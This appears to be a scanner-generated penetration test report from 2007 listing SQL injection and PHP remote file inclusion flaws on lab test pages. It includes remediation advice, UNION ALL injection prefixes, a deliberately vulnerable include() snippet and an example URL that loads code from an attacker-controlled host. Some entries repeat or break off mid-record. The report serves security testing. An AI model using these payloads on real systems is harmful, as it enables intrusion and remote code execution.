



Webapps Vulnerability Report

Monday, December 10, 2007

Introduction

This report provides detailed information of every vulnerability that was found by CORE IMPACT during this test.

This information provides a practical approach to determine the key vulnerable points in the tested scenarios, and to assess the risk associated with such vulnerabilities.

Organization

This report lists vulnerabilities found in the web application tested by CORE IMPACT. The vulnerabilities are organized by vulnerability type (SQL Injection, PHP Remote File Inclusion) and by severity (when available).

The background section provides a brief description of the vulnerability classes found in the web application.

Vulnerabilities background

Code injection is a technique to introduce (or "inject") code into a computer program or system by taking advantage of the unenforced and unchecked assumptions the system makes about its inputs.

The purpose of the injected code is typically to bypass or modify the originally intended functionality of the program. When the functionality bypassed is system security, the results can be disastrous.

SQL Injection Vulnerabilities

SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by string concatenation) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

There are two types of SQL injection vulnerabilities: error-based and blind. In error-based SQL injections the error message reported by the database, under an invalid query, is displayed to the user, allowing him to leverage information based on this output. However, in the case of blind SQL injections no error information is displayed to the user, increasing the difficulty of detection and exploitation of the vulnerability.

A word on fixing SQL Injection vulnerabilities

Most SQL injection vulnerabilities can be easily fixed by avoiding the use of dynamically constructed SQL queries and using parameterized queries instead. If it's not possible to use parameterized queries because the string appended is not a data type (e.g.: the name of the table in a CREATE SQL statement), it is possible to filter/sanitize the string to ensure that it cannot be used to trigger SQL injection vulnerabilities.

One option is to only allow alphanumeric characters. There are other characters that can be allowed (e.g. “_”), but try to specifically avoid the following characters: “ (double quote), ‘ (single quote), ; (semicolon), , (colon), - (dash). Please remember that best practice is always restricting the allowed characters rather than filtering out specific ‘bad’ ones (e.g.: only allow alphanumeric characters and discard everything else, rather than just filtering out single quotes).

General Conclusions and Recommendations

Use parameterized queries at the time of using user input in database queries.

Recommendation: Never construct database queries by appending user input; rely on parameterized queries instead, which guarantee that the user input will not be treated as part of the SQL query, but merely as data

PHP Remote File Inclusion Vulnerabilities

Remote file inclusion vulnerabilities (RFIs) are the result of using and trusting unsafe data in the construction of a filename or path to a filename which is then used by the web application to retrieve and execute PHP code.

Attackers may abuse of RFI vulnerabilities to force a vulnerable web application into retrieving and executing PHP code under their control and consequently execute shell commands in the web server under the privileges of the web application. The scenario may lead to taking complete control over the web application and the server hosting the application, depending on several scenario-related variables.

The following code excerpt displays a typical unsafe and vulnerable piece of code which retrieves a parameter named “module” from the URL (thus supplied by the user) and calls PHP's include() function using the module name as a filename, appending a “php” extension at the end:

```
...
// Get the page module to load from the URL
$module = $_GET["module"];
// Let's now include the dynamic module
include($module . ".php");
...
```

The module parameter is supplied to the vulnerable page in the following manner:

```
http://vulnerable.website/vulnerable-page.php?module=MODULE_NAME_HERE
```

Because the \$module variable is not sanitized before it is used within the include() function, an attacker could send as data the location of a php file under her control, either relative to the web application's directory (this could be the case of an upload directory) or even in a full path manner, as in the following example:

```
http://vulnerable.website/vulnerable-page.php?module=http://attacker-controlled-website/malicious
```

As a result, the vulnerable web application ends up using the contents of the module variable directly in the call to include (), and the attacker's malicious php code residing in a file located at http://attacker-controlled-website/malicious is executed by the vulnerable web application.

Executing arbitrary PHP code through a vulnerable web application provides an attacker with a wide variety of attack vectors aimed at attacking web application stakeholders, web servers, databases, and so on.

Attackers commonly make use of a "PHP shell" which is a PHP script that acts as an interface between an attacker and the web server, providing a simple and straight-forward way of executing shell commands under the privileges of the machine account running the vulnerable application.

SQL Injection Vulnerabilities

SQL Injection Vulnerability	State	confirmed
	Severity	critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL	http://sql.vmcorelab.com/sql/blind/sql_injection_string.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	\\, ' ', ' ', '"', 'a', '--', '1', '@', '1.0', '-1', 'TRUE', '-1.0', 'NULL', 'FALSE', '\\00', '\\(null char)', '#', '%

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic RedirectErrorDecoder

Attack Information

Prefix ' AND 1=0 UNION ALL
Postfix --

Query Information

Field Id	Type	Visible
0	varchar	True
1	int	True

Request Information

GET	Name	Value
	filter	\\

SQL Injection Vulnerability

State confirmed
Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL http://sql.vmcorelab.com/sql/blind/sql_injection_string_error_rewrite.aspx
Parameter Name filter
Parameter Type GET
Triggers ""

Backend Information

Database Engine Microsoft SQL Server
Database Version
Operating System
Architecture

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic SqlErrorStringPage

Attack Information

Prefix ' AND 1=0 UNION ALL
Postfix --

Query Information

Field Id	Type	Visible
0	varchar	True
1	int	True

Request Information

GET	Name	Value
	filter	'

SQL Injection Vulnerability

State confirmed
Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL http://sql.vmcorelab.com/sql/blind/sql_injection_string_redirect.aspx

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]=<filter parameter>

Basic Information

Properties

URL	http://sql.vmcorelab.com/sql/verbose/sql_injection_integer.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	'*', '#', ':', '}', '\\', '/', ' ', ' ', 'A', '--', '"', '@', 'a', 'FALSE', 'TRUE', '%', '\\00'

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic	HttpErrorCode
-----------	---------------

Attack Information

Prefix	0 AND 1=0 UNION ALL
Postfix	--

Query Information

Field Id	Type	Visible
0	varchar	True
1	int	True

Request Information

<i>GET</i>	Name	Value
	filter	*

SQL Injection Vulnerability

State confirmed
Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE ([column]='<filter parameter>')

Basic Information

Properties

URL	http://sql.vmcorelab.com/sql/verbose/sql_injection_linq_example_join_1.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	''

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

<i>Data</i>	Read	Add	Modify	Delete
	✓	✓	✓	✓
<i>Files</i>	Read	Write		
	✓	✓		
<i>Execute</i>	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic	HttpErrorCode
-----------	---------------

Attack Information

Prefix ' AND 1=0) UNION ALL
Postfix --

Query Information

Field Id	Type	Visible
0	int	True
1	varchar	True
10	varchar	True
11	varchar	True
12	varchar	True
13	varchar	True
2	int	True
3	datetime	True
4	datetime	True
5	datetime	True
6	int	True
7	int	True
8	varchar	True
9	varchar	True

Request Information

GET	Name	Value
	filter	'

SQL Injection Vulnerability

State **confirmed**
Severity **critical**

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]=<filter parameter>

Basic Information

Properties

URL http://sql.vmcorelab.com/sql/verbose/sql_injection_linq_example_min_1.aspx

Parameter Name filter
 Parameter Type GET
 Triggers '*', '#', ':', '}', '\\', '/', '|', '|', 'A', '--', '"', '@', 'a', 'FALSE', 'TRUE', '%', '\\00'

Backend Information

Database Engine Microsoft SQL Server
 Database Version
 Operating System
 Architecture

Capabilities

Data	Read	Add	Modify	Delete
	x	x	x	x
Files	Read	Write		
	x	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic HttpErrorCode

Attack Information

Prefix 0 AND 1=0 UNION ALL
 Postfix --

Query Information

Field Id	Type	Visible
0	int	True
1	int	True

Request Information

GET	Name	Value
	filter	*

SQL Injection Vulnerability	State confirmed
	Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL	http://sql.vmcorelab.com/sql/verbose/sql_injection_linq_example_orderby_1.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	' ', ':', '/', '\\', ' ', 'A', '"', '0', 'a', '--', '1', '@', '1.0', '-1', 'TRUE', '-1.0', 'NULL', 'FALSE', '\\00', '\\(nul

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic	HttpStatusCode
-----------	----------------

Attack Information

Prefix	01-jun-01' AND 1=0 UNION ALL
Postfix	--

Query Information

Field Id	Type	Visible
0	int	True
1	varchar	True
10	varchar	True
11	varchar	True
12	varchar	True
13	varchar	True
14	varchar	False
15	int	True
16	varchar	True
2	varchar	True
3	varchar	True
4	varchar	True
5	datetime	True
6	datetime	True
7	varchar	True
8	varchar	True
9	varchar	True

Request Information

<i>GET</i>	Name	Value
	order	
	filter	

SQL Injection Vulnerability

State confirmed
Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL	http://sql.vmcorelab.com/sql/verbose/sql_injection_linq_example_where_1.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	''

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic	HttpErrorCode
-----------	---------------

Attack Information

Prefix	' AND 1=0 UNION ALL
Postfix	--

Query Information

Field Id	Type	Visible
0	varchar	True
1	varchar	True
10	varchar	True
2	varchar	True
3	varchar	True
4	varchar	True
5	varchar	True
6	varchar	True
7	varchar	True
8	varchar	True
9	varchar	True

Request Information

GET	Name	Value
	filter	'

SQL Injection Vulnerability

State **confirmed**
Severity **critical**

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL	http://sql.vmcorelab.com/sql/verbose/sql_injection_linq_example_where_top_1.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	''

Backend Information

Database Engine Microsoft SQL Server
Database Version
Operating System
Architecture

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic HttpStatusCode

Attack Information

Prefix ' AND 1=0 UNION ALL
Postfix --

Query Information

Field Id	Type	Visible
0	varchar	True
1	varchar	True
10	varchar	True
2	varchar	True
3	varchar	True
4	varchar	True
5	varchar	True
6	varchar	True
7	varchar	True
8	varchar	True
9	varchar	True

Request Information

<i>GET</i>	Name	Value
	filter	'

SQL Injection Vulnerability

State confirmed
Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL	http://sql.vmcorelab.com/sql/verbose/sql_injection_string.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	''

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

<i>Data</i>	Read	Add	Modify	Delete
	✓	✓	✓	✓
<i>Files</i>	Read	Write		
	✓	✓		
<i>Execute</i>	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic	HttpErrorCode
-----------	---------------

Attack Information

Prefix ' AND 1=0 UNION ALL
Postfix --

Query Information

Field Id	Type	Visible
0	varchar	True
1	int	True

Request Information

GET	Name	Value
	filter	'

SQL Injection Vulnerability

State **confirmed**
Severity **critical**

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]=<filter parameter>

Basic Information

Properties

URL http://sql.vmcorelab.com/testcases/sqli/blind/remoteonly/sql_injection_integer.aspx
Parameter Name filter
Parameter Type GET
Triggers '|', ';', '/', '\\', '|', 'A', '"', '0', 'a', '--', '1', '@', '1.0', '-1', 'TRUE', '-1.0', 'NULL', 'FALSE', '\\00', '\\nul

Backend Information

Database Engine Microsoft SQL Server
Database Version
Operating System
Architecture

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic RedirectErrorDecoder

Attack Information

Prefix 0 AND 1=0 UNION ALL
Postfix --

Query Information

Field Id	Type	Visible
0	varchar	True
1	int	True

Request Information

GET	Name	Value
	filter	

SQL Injection Vulnerability

State confirmed
Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL http://sql.vmcorelab.com/testcases/sqli/blind/remoteonly/sql_injection_string.aspx

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL	http://sql.vmcorelab.com/testcases/sqli/blind/sql_injection_string.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	"\, ' , ' , '"', 'a', '--', '1', '@', '1.0', '-1', 'TRUE', '-1.0', 'NULL', 'FALSE', '\\00', '\\(null char)', '#', '%

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic	RedirectErrorDecoder
-----------	----------------------

Attack Information

Prefix	' AND 1=0 UNION ALL
Postfix	--

Query Information

Field Id	Type	Visible
0	varchar	True
1	int	True

Request Information

<i>GET</i>	Name	Value
	filter	\\

SQL Injection Vulnerability

State confirmed
Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL	http://sql.vmcorelab.com/testcases/sqli/blind/sql_injection_string_error_rewrite.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	''

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

<i>Data</i>	Read	Add	Modify	Delete
	✓	✓	✓	✓
<i>Files</i>	Read	Write		
	✓	✓		
<i>Execute</i>	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic	SqlErrorStringPage
-----------	--------------------

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic RedirectErrorDecoder

Attack Information

Prefix ' AND 1=0 UNION ALL
Postfix --

Query Information

Field Id	Type	Visible
0	varchar	True
1	int	True

Request Information

GET	Name	Value
	filter	\\

SQL Injection Vulnerability

State confirmed
Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]=<filter parameter>

Basic Information

Properties

URL http://sql.vmcorelab.com/testcases/sqli/verbose/sql_injection_integer.aspx

Parameter Name filter
 Parameter Type GET
 Triggers '*', '#', ':', '}', '\\', '/', '|', '|', 'A', '--', '"', '@', 'a', 'FALSE', 'TRUE', '%', '\\00'

Backend Information

Database Engine Microsoft SQL Server
 Database Version
 Operating System
 Architecture

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic HttpErrorCode

Attack Information

Prefix 0 AND 1=0 UNION ALL
 Postfix --

Query Information

Field Id	Type	Visible
0	varchar	True
1	int	True

Request Information

GET	Name	Value
	filter	*

SQL Injection Vulnerability	State	confirmed
	Severity	critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE ([column]='<filter parameter>')

Basic Information

Properties

URL	http://sql.vmcorelab.com/testcases/sqli/verbose/sql_injection_linq_example_join_1.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	"

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic	HttpErrorCode
-----------	---------------

Attack Information

Prefix	' AND 1=0) UNION ALL
Postfix	--

Query Information

Field Id	Type	Visible
0	int	True
1	varchar	True
10	varchar	True
11	varchar	True
12	varchar	True
13	varchar	True
2	int	True
3	datetime	True
4	datetime	True
5	datetime	True
6	int	True
7	int	True
8	varchar	True
9	varchar	True

Request Information

GET	Name	Value
	filter	'

SQL Injection Vulnerability

State confirmed
Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]=<filter parameter>

Basic Information

Properties

URL	http://sql.vmcorelab.com/testcases/sqli/verbose/sql_injection_linq_example_min_1.a spx
Parameter Name	filter
Parameter Type	GET
Triggers	*, '#', ':', '}', '\\', '/', ' ', ' ', 'A', '--', '"', '@', 'a', 'FALSE', 'TRUE', '%', '\\00'

Backend Information

Database Engine Microsoft SQL Server
Database Version
Operating System
Architecture

Capabilities

Data	Read	Add	Modify	Delete
	x	x	x	x
Files	Read	Write		
	x	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic HttpStatusCode

Attack Information

Prefix 0 AND 1=0 UNION ALL
Postfix --

Query Information

Field Id	Type	Visible
0	int	True
1	int	True

Request Information

GET	Name	Value
	filter	*

SQL Injection Vulnerability

State **confirmed**
Severity **critical**

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL	http://sql.vmcorelab.com/testcases/sqli/verbose/sql_injection_linq_example_orderby_1.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	' ', ';', '/', '\\', ' ', 'A', '"', '0', 'a', '--', '1', '@', '1.0', '-1', 'TRUE', '-1.0', 'NULL', 'FALSE', '\\00', '\\nul

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic	HttpErrorCode
-----------	---------------

Attack Information

Prefix	01-jun-01' AND 1=0 UNION ALL
Postfix	--

Query Information

Field Id	Type	Visible
0	int	True
1	varchar	True
10	varchar	True
11	varchar	True
12	varchar	True
13	varchar	True
14	varchar	False
15	int	True
16	varchar	True
2	varchar	True
3	varchar	True
4	varchar	True
5	datetime	True
6	datetime	True
7	varchar	True
8	varchar	True
9	varchar	True

Request Information

<i>GET</i>	Name	Value
	order	
	filter	

SQL Injection Vulnerability

State confirmed
Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL	http://sql.vmcorelab.com/testcases/sqli/verbose/sql_injection_linq_example_where_1.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	''

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic	HttpErrorCode
-----------	---------------

Attack Information

Prefix	' AND 1=0 UNION ALL
Postfix	--

Query Information

Field Id	Type	Visible
0	varchar	True
1	varchar	True
10	varchar	True
2	varchar	True
3	varchar	True
4	varchar	True
5	varchar	True
6	varchar	True
7	varchar	True
8	varchar	True
9	varchar	True

Request Information

GET	Name	Value
	filter	'

SQL Injection Vulnerability

State **confirmed**
Severity **critical**

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL	http://sql.vmcorelab.com/testcases/sqli/verbose/sql_injection_linq_example_where_to_p_1.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	''

Backend Information

Database Engine Microsoft SQL Server
Database Version
Operating System
Architecture

Capabilities

Data	Read	Add	Modify	Delete
	✓	✓	✓	✓
Files	Read	Write		
	✓	✓		
Execute	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic HttpStatusCode

Attack Information

Prefix ' AND 1=0 UNION ALL
Postfix --

Query Information

Field Id	Type	Visible
0	varchar	True
1	varchar	True
10	varchar	True
2	varchar	True
3	varchar	True
4	varchar	True
5	varchar	True
6	varchar	True
7	varchar	True
8	varchar	True
9	varchar	True

Request Information

<i>GET</i>	Name	Value
	filter	'

SQL Injection Vulnerability

State confirmed
Severity critical

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]='<filter parameter>'

Basic Information

Properties

URL	http://sql.vmcorelab.com/testcases/sqli/verbose/sql_injection_string.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	''

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

<i>Data</i>	Read	Add	Modify	Delete
	✓	✓	✓	✓
<i>Files</i>	Read	Write		
	✓	✓		
<i>Execute</i>	Stored Procedures	Process		
	✓	✓		

Advanced Information

Error Method

Heuristic	HttpErrorCode
-----------	---------------

Attack Information

Prefix ' AND 1=0 UNION ALL
Postfix --

Query Information

Field Id	Type	Visible
0	varchar	True
1	int	True

Request Information

GET	Name	Value
	filter	'

SQL Injection Vulnerability

State **confirmed**
Severity **medium**

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE [column]=<filter parameter>

Basic Information

Properties

URL http://sql.vmcorelab.com/sql/verbose/sql_injection_linq_example_conditional_1.aspx
Parameter Name filter
Parameter Type GET
Triggers '*', '#', ':', '}', '\\', '/', '|', '|', 'A', '--', '"', '@', 'a', 'FALSE', 'TRUE', '%', '\\00'

Backend Information

Database Engine Microsoft SQL Server
Database Version
Operating System
Architecture

Capabilities

Data	Read	Add	Modify	Delete
Files	Read	Write		
Execute	Stored Procedures	Process		

Advanced Information

Error Method

Heuristic HttpStatusCode

Attack Information

Prefix
Postfix

Request Information

GET	Name	Value
	filter	*

SQL Injection Vulnerability

State **confirmed**
Severity **medium**

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE ([column]=<filter parameter>)

Basic Information

Properties

URL http://sql.vmcorelab.com/sql/verbose/sql_injection_linq_example_nested_1.aspx
Parameter Name filter
Parameter Type GET
Triggers '*', '#', ';', '}', '\\', '/', '|', '|', 'A', '--', '"', '@', 'a', 'FALSE', 'TRUE', '%', '\\00'

Backend Information

Database Engine Microsoft SQL Server
Database Version
Operating System
Architecture

Capabilities

Data	Read	Add	Modify	Delete
-------------	------	-----	--------	--------

Files	Read	Write
--------------	------	-------

Execute	Stored Procedures	Process
----------------	-------------------	---------

Advanced Information

Error Method

Heuristic HttpStatusCode

Attack Information

Prefix
Postfix

Request Information

GET	Name	Value
	filter	*

SQL Injection Vulnerability

State confirmed
Severity medium

Description

The parameter is being used as a column name in the ORDER BY clause of a SELECT statement without verification of having a valid value.

The query being performed should look like SELECT ... ORDER BY [column1, column2], <order parameter>[, column3, column4] ...

Basic Information

Properties

URL http://sql.vmcorelab.com/sql/verbose/sql_injection_linq_example_orderby_1.aspx

Parameter Name	order
Parameter Type	GET
Triggers	'%', '\00', '*', '#', ':', '}', '\', '/', ' ', ' ', 'A', '"', '0', 'a', '--', '-1', '@', 'FALSE', 'TRUE'

Backend Information

Database Engine
 Database Version
 Operating System
 Architecture

Capabilities

Data	Read	Add	Modify	Delete
Files	Read	Write		
Execute	Stored Procedures	Process		

Advanced Information

Error Method

Heuristic	HttpErrorCode
-----------	---------------

Attack Information

Prefix
 Postfix

Request Information

GET	Name	Value
	order	%
	filter	

SQL Injection Vulnerability	State confirmed
	Severity medium

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.
 The query being performed should look like SELECT ... WHERE [column]=<filter parameter>

Basic Information

Properties

URL	http://sql.vmcorelab.com/testcases/sqli/verbose/sql_injection_linq_example_conditional_1.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	'*', '#', ':', '}', '\\', '/', ' ', ' ', 'A', '--', '"', '@', 'a', 'FALSE', 'TRUE', '%', '\\00'

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

Data	Read	Add	Modify	Delete
Files	Read	Write		
Execute	Stored Procedures	Process		

Advanced Information

Error Method

Heuristic	HttpStatusCode
-----------	----------------

Attack Information

Prefix
Postfix

Request Information

GET	Name	Value
	filter	*

SQL Injection Vulnerability

State confirmed
Severity medium

Description

The parameter is being used as a value for filtering in the WHERE or HAVING clause of a SELECT statement without sanitization.

The query being performed should look like SELECT ... WHERE ([column]=<filter parameter>)

Basic Information

Properties

URL	http://sql.vmcorelab.com/testcases/sqli/verbose/sql_injection_linq_example_nested_1.aspx
Parameter Name	filter
Parameter Type	GET
Triggers	'*', '#', ';', '}', '\\', '/', ' ', ' ', 'A', '--', '"', '@', 'a', 'FALSE', 'TRUE', '%', '\\00'

Backend Information

Database Engine	Microsoft SQL Server
Database Version	
Operating System	
Architecture	

Capabilities

Data	Read	Add	Modify	Delete
-------------	------	-----	--------	--------

Files	Read	Write
--------------	------	-------

Execute	Stored Procedures	Process
----------------	-------------------	---------

Advanced Information

Error Method

Heuristic	HttpErrorCode
-----------	---------------

Attack Information

Prefix
Postfix

Request Information

GET	Name	Value
	filter	*

Description

The parameter is being used as a column name in the ORDER BY clause of a SELECT statement without verification of having a valid value.

The query being performed should look like SELECT ... ORDER BY [column1, column2], <order parameter>[, column3, column4] ...

Basic Information

Properties

URL	http://sql.vmcorelab.com/testcases/sqli/verbose/sql_injection_linq_example_orderby_1.aspx
Parameter Name	order
Parameter Type	GET
Triggers	'%', '\\00', '*', '#', '!', '}', '\\', '/', ' ', ' ', 'A', '"', '0', 'a', '--', '-1', '@', 'FALSE', 'TRUE'

Backend Information

Database Engine
Database Version
Operating System
Architecture

Capabilities

Data	Read	Add	Modify	Delete
Files	Read	Write		
Execute	Stored Procedures	Process		

Advanced Information

Error Method

Heuristic	HttpErrorCode
-----------	---------------

Attack Information

Prefix
Postfix

Request Information

<i>GET</i>	Name	Value
	order	%
	filter	

PHP Remote File Inclusion Vulnerabilities

PHP Remote File Inclusion Vulnerability

Description

The 'module' parameter is being used as a parameter in a call to the PHP include() function, where it can be an URL controlled by the attacker having arbitrary PHP which will be executed in the vulnerable page.

Basic Information

Properties

URL	http://php.vmc CoreLab.com/rfi/index.php?module=home.php
Parameters	module

Backend Information

PHP Version	4.3.9
Operating System	linux
Architecture	i386

Advanced Information

Request Information

<i>GET</i>	Name	Value
	module	IMPACT_AGENT

PHP Remote File Inclusion Vulnerability

Description

The 'module' parameter is being used as a parameter in a call to the PHP include() function, where it can be an URL controlled by the attacker having arbitrary PHP which will be executed in the vulnerable page.

Basic Information

Properties

URL http://php.vmcorelab.com/rfi/index.php?module=link1.php

Parameters module

Backend Information

PHP Version 4.3.9
Operating System linux
Architecture i386

Advanced Information

Request Information

GET	Name	Value
	module	IMPACT_AGENT

PHP Remote File Inclusion Vulnerability

Description

The 'module' parameter is being used as a parameter in a call to the PHP include() function, where it can be an URL controlled by the attacker having arbitrary PHP which will be executed in the vulnerable page.

Basic Information

Properties

URL http://php.vmcorelab.com/rfi/index.php?module=link2.php

Parameters module

Backend Information

PHP Version 4.3.9
Operating System linux
Architecture i386

Advanced Information

Request Information

GET	Name	Value
	module	IMPACT_AGENT